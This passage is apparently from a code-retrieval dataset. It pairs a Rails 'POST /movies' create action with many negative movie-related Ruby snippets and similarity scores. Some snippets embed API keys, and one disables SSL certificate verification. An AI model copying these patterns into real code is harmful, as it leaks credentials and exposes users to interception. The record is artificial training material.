show.html.erb\n# format.json { render json: @movie_item }\n# end\n end", "def show\n @movie_list = MovieList.find(params[:id])\n @movies = Movie.search(params, current_user, @movie_list.movies)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie_list }\n end\n end", "def film_api(url)\n film_response = RestClient.get(url)\n film_hash = JSON.parse(film_response)\nend", "def show\r\n @movie = session[:movies][params[:id].to_i]\r\n end", "def index\n # # if page value a param, use that, else ...\n # page = 3\n # request_url = MOVIE_DB_URL + \"&api_key=#{ENV[\"API_KEY\"]}\"\n genre_request_url = GENRE_URL + \"&api_key=#{ENV[\"API_KEY\"]}\"\n # request_url += \"&page=#{page}\"\n # if sort by release date\n # request_url += RELEASE_DATE_DESC_URL\n # if sort by title\n # request_url += RELEASE_DATE_DESC_URL;\n # @movies = Unirest.get(request_url).body[\"results\"]\n @genres = Unirest.get(genre_request_url).body[\"genres\"]\n # puts @genres\n end", "def people\n Birdman::Requester.get(\"movies/#{id}/people\")\n end", "def index\n movie_params = params[:movies] || {}\n if movie_params[:page].blank?\n movie_params[:page] = 0\n end\n\n @movies = Movie.search movie_params[:word], 0, EACH_LIMIT_WHEN_SEARCH do |response|\n @movies_count = response['numFound']\n end\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def find_movie_by_title(arg)\n query_response = RestClient.get(\"http://www.omdbapi.com/?t=#{arg}&apikey=a2d3299b\") #query the database\n parsed_response = JSON.parse(query_response) #parse the response into a useable hash\n movie_deets_hash = #extract relevant details from the hash\n {\"Title\" => parsed_response[\"Title\"],\n \"Released\" => parsed_response[\"Released\"].slice(-4..).to_i,\n \"Genre\" => parsed_response[\"Genre\"],\n \"Director\" => parsed_response[\"Director\"]}\n add_movie_to_database(movie_deets_hash) #create a movie_object for the selected movie, if it doesn't already exist\n end", "def fetchMovieRatingAndYear(movieID)\n #Construct the URL used to access the API\n url = \"http://api.themoviedb.org/3/movie/#{movieID}/releases?api_key=#{$apiKey}\"\n #RESTful request\n data = JSON.parse(RestClient.get(url))\n #Pull out the list of releases from the parsed request\n countries = data[\"countries\"]\n #Get just the US release (including date and rating info) and return it\n us = countries.select{ |country| country[\"iso_3166_1\"]==\"US\"}\n return us[0]\nend", "def show\n @park = Park.find(params[:id])\n @movies = @park.movies\n @movie = Movie.find(params[:id])\n @movie_events = MovieEvent.where(park_id: params[:id], movie_id: params[:id])\n\n \n require 'uri'\n require 'net/http'\n\n url = URI(\"https://api.themoviedb.org/3/configuration?api_key=feb440596767b82e73112b66f54d1c4d\")\n\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(url)\n request.body = \"{}\"\n\n response = http.request(request)\n puts response.read_body\n end", "def index\n @videos = Video.all\n render json: @videos\n end", "def show\n\t\tid = params[:id];\t\t\t\t#get the movie id\n\t\t@movie = Movie.find_by_id(id) \t#get the movie from the database\n\tend", "def show\n\n # default to type = 'movie'\n type = params[:type] ? params[:type] : 'movie'\n\n # find polymorphic by indexed tmdb info\n # since primary key is reindexed for pagination, this key does not change\n watch = Watchable.find_by(tmdb_id: params[:id], tmdb_type: type)\n \n # grab all details including guidebox info.\n # this will affect API limits\n watch.full_details\n render json: watch\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @movie }\n end\n end", "def ratings\n Birdman::Requester.get(\"movies/#{id}/ratings\")\n end", "def index\n page_number = params[:page] && params[:page][:number] ? params[:page][:number] : Rails.configuration.default_page\n page_size = params[:page] && params[:page][:size]? params[:page][:size] : Rails.configuration.default_per_page\n @movies = Movie.includes(:actors).all.page(page_number).per(page_size)\n end", "def detail\n mv = Tmdb::Movie.detail(params[:id].to_i).to_h\n mv = mv.delete_if { |key, value| %w[production_companies spoken_languages production_countries genres].include?(key.to_s) }\n @movie = Movie.new(mv.to_h)\n respond_to do |format|\n if @movie\n format.json { render :show, status: :created }\n else\n format.json do\n render json: @movie.errors, status: :unprocessable_entity\n end\n end\n end\n end" ]
[ "0.7840408", "0.7417043", "0.7417043", "0.7417043", "0.7417043", "0.7417043", "0.7417043", "0.7337925", "0.7307941", "0.7254705", "0.7145913", "0.712192", "0.7111538", "0.70936346", "0.7092198", "0.70896614", "0.70844346", "0.7034522", "0.6987229", "0.69613814", "0.6960965", "0.69298595", "0.692781", "0.69009906", "0.68844986", "0.6841898", "0.6836183", "0.683071", "0.68168235", "0.68109185", "0.67870307", "0.6740375", "0.6740375", "0.6740375", "0.6727756", "0.6721874", "0.6711992", "0.6710538", "0.6678656", "0.6678656", "0.6678036", "0.6678036", "0.6678036", "0.6678036", "0.6678036", "0.6678036", "0.6678036", "0.6678036", "0.6678036", "0.6636007", "0.6631818", "0.66241246", "0.66222805", "0.66066796", "0.66000146", "0.6596443", "0.6569363", "0.65634555", "0.65068793", "0.6500321", "0.64989686", "0.6497009", "0.64884436", "0.64796686", "0.64726824", "0.6466775", "0.6457479", "0.64506394", "0.6447637", "0.64272225", "0.64230776", "0.64230776", "0.64230776", "0.64230776", "0.64230776", "0.64230776", "0.64230776", "0.64230776", "0.64230776", "0.6421797", "0.6421797", "0.6403751", "0.6394849", "0.63898855", "0.63863724", "0.6382406", "0.63805646", "0.6373471", "0.6370407", "0.63635206", "0.6363439", "0.6359366", "0.63492316", "0.6338382", "0.63354856", "0.63324153", "0.6290667", "0.6290667", "0.6288709", "0.6273506", "0.62709844" ]
0.0
-1
POST /movies POST /movies.json
def create @movie = Movie.new(movie_params) respond_to do |format| if @movie.save format.html { redirect_to @movie, notice: 'Movie was successfully created.' } format.json { render :show, status: :created, location: @movie } else format.html { render :new } format.json { render json: @movie.errors, status: :unprocessable_entity } end end @movie end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to root_path, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params_create)\n respond_to do |format|\n if @movie.save\n format.html { redirect_to user_list_movies_url, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'La pelicula ha sido creada correctamente.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render action: 'show', status: :created, location: @movie }\n else\n format.html { render action: 'new' }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render action: 'show', status: :created, location: @movie }\n else\n format.html { render action: 'new' }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = current_user.movies.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html {redirect_to @movie, notice: 'Movie was successfully created.'}\n format.json {render :show, status: :created, location: @movie}\n else\n format.html {render :new}\n format.json {render json: @movie.errors, status: :unprocessable_entity}\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n end", "def create\n @movie = Movie.new(movie_params)\n end", "def create\n prepare_movie(true)\n \n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @favorite_movie = @user.favorite_movies.build(favorite_movie_params)\n if @user.save\n render json: @favorite_movie\n end\n end", "def create\n if params[:movie][:actors]\n params[:movie][:actors].map!{ |id|\n Actor.find(id)\n }\n else\n params[:movie][:actors] = []\n end\n if params[:movie][:genres]\n params[:movie][:genres].map!{ |id|\n Genre.find(id)\n }\n else\n params[:movie][:genres] = []\n end\n if params[:movie][:directors]\n params[:movie][:directors].map!{ |id|\n Director.find(id)\n }\n else\n params[:movie][:directors] = []\n end\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to movie_url(@movie), notice: \"Movie was successfully created.\" }\n else\n format.html { render :edit, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n @movie.user = current_user if current_user\n add_director\n add_actors\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new({:name => params[:movie][:name], :rating => 0})\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to(@movie, :notice => 'Movie was successfully created.') }\n format.xml { render :xml => @movie, :status => :created, :location => @movie }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n movie_id = Tmdb::Movie.find(@movie.title)[0].id\n\n title_info_2 = Tmdb::Movie.detail(movie_id)\n genre = title_info_2['genres'][0]['name']\n vote = title_info_2['vote_average']\n year = title_info_2['release_date'].byteslice(0,4)\n\n cast = Tmdb::Movie.casts(movie_id)\n cast_members = []\n\n cast.each do |member|\n cast_members << member['name']\n end\n\n @movie.actors = cast_members.join(', ')\n @movie.genre = genre\n @movie.year = year\n @movie.metascore = vote\n @movie.user_id = current_user.id\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n parameters = movie_params.dup\n parameters.delete(:images)\n parameters.delete(:genres)\n parameters.delete(:videos)\n parameters.delete(:actors)\n\n @movie = Movie.new(parameters)\n\n respond_to do |format|\n if @movie.save\n @movie.save_attachments(movie_params)\n format.json { render :show, status: :created }\n else\n format.json do\n render json: @movie.errors, status: :unprocessable_entity\n end\n end\n end\n end", "def create\n # binding.pry\n @movie = Movie.new(movie_params)\n tag_list = params[:movie][:tag_name].to_s.split('nil')\n respond_to do |format|\n if @movie.save\n @movie.save_movies(tag_list)\n format.html { redirect_to @movie, notice: '投稿が完了しました' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @actors_movie = ActorsMovie.new(actors_movie_params)\n\n respond_to do |format|\n if @actors_movie.save\n format.html { redirect_to @actors_movie, notice: 'Actors movie was successfully created.' }\n format.json { render :show, status: :created, location: @actors_movie }\n else\n format.html { render :new }\n format.json { render json: @actors_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tmdbmovie = Tmdbmovie.new(tmdbmovie_params)\n\n respond_to do |format|\n if @tmdbmovie.save\n format.html { redirect_to @tmdbmovie, notice: 'Tmdbmovie was successfully created.' }\n format.json { render :show, status: :created, location: @tmdbmovie }\n else\n format.html { render :new }\n format.json { render json: @tmdbmovie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @watched_movie = WatchedMovie.new(params[:watched_movie])\n\n respond_to do |format|\n if @watched_movie.save\n format.html { redirect_to @watched_movie, notice: 'Watched movie was successfully created.' }\n format.json { render json: @watched_movie, status: :created, location: @watched_movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @watched_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n new_movie = Movie.new\n\n new_movie.title = params[:title]\n new_movie.year = params[:year]\n new_movie.director = params[:director]\n new_movie.actors = params[:cast_members]\n new_movie.plot = params[:plot]\n new_movie.mpaa_rating = params[:mpaa_rating]\n new_movie.favorite = params[:favorite]\n new_movie.save\n\n redirect_to new_movie\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def new\n @movie = Movie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: \"Movie was successfully created.\" }\n format.json { render :show, status: :created, location: @movie }\n format.js\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def movies\n get('Movies')\n end", "def create\n @omdb_movie = OmdbMovie.new(omdb_movie_params)\n\n respond_to do |format|\n if @omdb_movie.save\n format.html { redirect_to @omdb_movie, notice: 'Omdb movie was successfully created.' }\n format.json { render action: 'show', status: :created, location: @omdb_movie }\n else\n format.html { render action: 'new' }\n format.json { render json: @omdb_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n @movie.user_id = current_user.id # authenticated user\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @type_movie = TypeMovie.new(type_movie_params)\n\n respond_to do |format|\n if @type_movie.save\n format.html { redirect_to @type_movie, notice: 'Type movie was successfully created.' }\n format.json { render :show, status: :created, location: @type_movie }\n else\n format.html { render :new }\n format.json { render json: @type_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\tdata = params[:movie]\n if(data.has_key?(\"genres\"))\n\t\tids = Genre.get_ids(data[:genres])\n\t\tdata.delete(\"genres\")\n\tend\n @movie = @catalogue.movies.build(data)\n unless ids == nil\n\t\t@movie.genre_ids = ids\n end\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to(@movie, :notice => 'Movie was successfully created.') }\n format.xml { render :xml => @movie, :status => :created, :location => @movie }\n format.json { render :json => {:success => true} }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n format.json { render :json => {:success => false, :errors => @movie.errors} }\n end\n end\n end", "def create\n @unseen_movie = UnseenMovie.new(params[:unseen_movie])\n\n respond_to do |format|\n if @unseen_movie.save\n format.html { redirect_to @unseen_movie, notice: 'Unseen movie was successfully created.' }\n format.json { render json: @unseen_movie, status: :created, location: @unseen_movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unseen_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @categories_movie = CategoriesMovie.new(categories_movie_params)\n\n respond_to do |format|\n if @categories_movie.save\n format.html { redirect_to @categories_movie, notice: 'Categories movie was successfully created.' }\n format.json { render :show, status: :created, location: @categories_movie }\n else\n format.html { render :new }\n format.json { render json: @categories_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def movie_params\n params.require(:movie).permit(:api_id, :title, :vote_average, :release_date, :overview, :url, :poster_path)\n end", "def create\n @movie = Movie.new(movie_params)\n @movie.address = @movie.city + \" \" + @movie.country\n @movie.thumnail_url = \"https://mood2travel.s3.amazonaws.com/thumnails/\" + @movie.videoId.to_s + \".png\"\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render action: 'show', status: :created, location: @movie }\n else\n format.html { render action: 'new' }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def api_movie_params\n params.require(:movie).permit(:title, :summary, :release_year, :stars, :rank, :genre, :director, :img_url, :file)\n end", "def create\n @movies_ive_watched = MoviesIveWatched.new(movies_ive_watched_params)\n\n respond_to do |format|\n if @movies_ive_watched.save\n format.html { redirect_to @movies_ive_watched, notice: 'Movies ive watched was successfully created.' }\n format.json { render :show, status: :created, location: @movies_ive_watched }\n else\n format.html { render :new }\n format.json { render json: @movies_ive_watched.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to(@movie, :notice => 'Movie was successfully created.') }\n format.xml { render :xml => @movie, :status => :created, :location => @movie }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @theatre_movie = TheatreMovie.new(theatre_movie_params)\n\n respond_to do |format|\n if @theatre_movie.save\n format.html { redirect_to @theatre_movie, notice: 'Theatre movie was successfully created.' }\n format.json { render :show, status: :created, location: @theatre_movie }\n else\n format.html { render :new }\n format.json { render json: @theatre_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie_info = MovieInfo.new(params[:movie_info])\n \n respond_to do |format|\n if @movie_info.save\n format.html { redirect_to @movie_info, notice: 'Movie info was successfully created.' }\n format.json { render json: @movie_info, status: :created, location: @movie_info }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_movie\n @movie = Tmdb::Movie.detail(params['id'])\n @movie_director = Tmdb::Movie.director(@movie.id)[0].name\n\n @new_movie = Movie.create(\n title: @movie.title,\n release_date: @movie.release_date,\n director: @movie_director,\n overview: @movie.overview,\n poster_url: \"https://image.tmdb.org/t/p/w640#{@movie.poster_path}\"\n )\n\n redirect_to movie_path(@new_movie), notice: \"#{@new_movie.title} was added.\"\n end", "def create\n # check if we want to bypass the API\n if movie_params[:bypassapi] == \"Bypass API\"\n @movie_info = movie_params.delete_if{|k,v| k == \"bypassapi\"}\n\n else\n # use the API and get the movie title via form\n if movie_params[:title].present?\n @movie_title = movie_params[:title].gsub(\" \",\"-\")\n @content = open(\"http://www.omdbapi.com/?t=#{@movie_title}&y=&plot=short&r=json\").read\n @results = JSON.parse(@content, symbolize_names: true)\n\n else\n @imdbID = movie_params[:imdbID]\n @content = open(\"http://www.omdbapi.com/?i=#{@imdbID}&plot=short&r=json\").read\n @results = JSON.parse(@content, symbolize_names: true)\n end\n\n # check if API has an error. if so, use movie_params\n if @results[:Error] == \"Movie not found!\"\n redirect_to new_movie_path, :alert => \"Title not found in the API. If you still want to add it,\n select the 'bypass the API' option\" and return\n\n else\n # parse the date\n @parsed_date = Date.new(movie_params[\"date_watched(1i)\"].to_i,\n movie_params[\"date_watched(2i)\"].to_i, movie_params[\"date_watched(3i)\"].to_i) unless ! movie_params[\"date_watched(1i)\"].present?\n\n # create the hash for the movie params\n @movie_info = { title: @results[:Title],\n imdb_url: \"http://www.imdb.com/title/#{@results[:imdbID]}/\",\n watch_url: movie_params[:watch_url],\n date_watched: @parsed_date,\n location_watched: movie_params[:location_watched],\n category_id: movie_params[:category_id],\n watchlist_id: movie_params[:watchlist_id],\n our_rating: movie_params[:our_rating],\n preview_link: movie_params[:preview_link],\n been_watched: movie_params[:been_watched],\n notes: movie_params[:notes],\n #imdb_artwork: @results[:Poster].gsub(\"N/A\", \"\"),\n imdb_artwork: \"http://img.omdbapi.com/?i=#{@results[:imdbID]}&apikey=#{ENV['poster_api_key']}\".gsub('N/A', ''),\n imdb_plot_summary: @results[:Plot],\n imdb_rating: @results[:imdbRating],\n imdb_genre: @results[:Genre],\n runtime: @results[:Runtime],\n year_released: @results[:Year],\n imdb_actors: @results[:Actors]}\n end #end of if/else based on API error\n end #end of if/else on whether or not to bypass the API\n\n # assign hash to a new movie object\n @movie = Movie.new(@movie_info)\n\n # save new movie object to the database\n respond_to do |format|\n if @movie.save\n format.html { redirect_to movies_url, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @theatre_movie = TheatreMovie.new(theatre_movie_params)\n\n respond_to do |format|\n if @theatre_movie.save\n format.html { redirect_to @theatre_movie, notice: 'Theatre movie was successfully created.' }\n format.json { render action: 'show', status: :created, location: @theatre_movie }\n else\n format.html { render action: 'new' }\n format.json { render json: @theatre_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @movie = @category.movies.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movie }\n end\n end", "def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend", "def create\n @event = Event.new(event_params)\n @event.user_id = current_user.id\n\n params[:movies].each do |item1|\n a = nil\n i = 0\n list = Movie.all\n while a == nil && i<(list).length-1\n if item1 == list[i].title\n a = list[i]\n end\n i = i + 1\n end\n\n if a == nil\n movie = Movie.create(title: item1)\n else\n movie = a\n end\n\n @event.movies.append(movie)\n end\n\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = @category.movies.new(params[:movie])\n\n respond_to do |format|\n if @movie.save\n flash[:notice] = 'Movie was successfully created.'\n format.html { redirect_to(category_movie_url(@category, @movie)) }#, notice: 'Movie was successfully created.' }\n format.json { render json: @movie, status: :created, location: @movie }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @movie = Movie.new(movie_params)\n\n if @movie.save\n redirect_to movies_path, notice: \"#{@movie.title} was submitted successfully!\"\n else\n render :new\n end\n end", "def create\n @cinemas_movie = CinemasMovie.new(params[:cinemas_movie])\n\n respond_to do |format|\n if @cinemas_movie.save\n format.html { redirect_to @cinemas_movie, :notice => 'Cinemas Movie was successfully created.' }\n format.json { render :json => @cinemas_movie, :status => :created, :location => @cinemas_movie }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @cinemas_movie.errors, :status => :unprocessable_entity }\n end\n end\n end", "def movie_params\n params.require(:movie).permit(:name, :release_date, :rating, :actor_ids => [])\n end", "def movie_params\n params.require(:movie).permit(:title, :release_date, :plot, :cover, genre_ids: [], actor_ids: [], director_ids: [])\n end", "def movie_params\n params.require(:movie).permit(:movie_id, :title, :poster_url)\n end", "def create_movie(response)\n movie = Movie.new(title: response[\"title\"],\n release_date: response[\"release_date\"],\n description: response[\"overview\"],\n poster: response[\"poster_path\"])\n genres = response[\"genres\"]\n genres.each do |genre|\n movie_genre = Genre.find_or_create_by(genre: genre[\"name\"])\n movie.genres << movie_genre\n end\n movie.save!\n movie\n end", "def movie_params\n params.require(:movie).permit(:name, :date, :director, :genre, :duration, :description, :poster)\n end", "def control \n @movies = Movie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def get_all_actors_for_movie(movie)\n url = \"http://movies.api.mks.io/actors\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def create\n @genres_movie = GenresMovie.new(genres_movie_params)\n\n respond_to do |format|\n if @genres_movie.save\n format.html { redirect_to @genres_movie, notice: 'Genres movie was successfully created.' }\n format.json { render :show, status: :created, location: @genres_movie }\n else\n format.html { render :new }\n format.json { render json: @genres_movie.errors, status: :unprocessable_entity }\n end\n end\n end", "def movie_params\n params.require(:movie).permit(:name, :genre_id, :release_date, :minutes, :description, :actor_list)\n end", "def movie_params\n params.require(:movie).permit(:title, :rating, :description, :release_date)\n end", "def movie_params\n params.require(:movie).permit(:title, :rating, :description, :release_date)\n end", "def new\n @watched_movie = WatchedMovie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @watched_movie }\n end\n end", "def movie_params\n params.require(:movie).permit(:title, :rating, :director, :year, :duration, 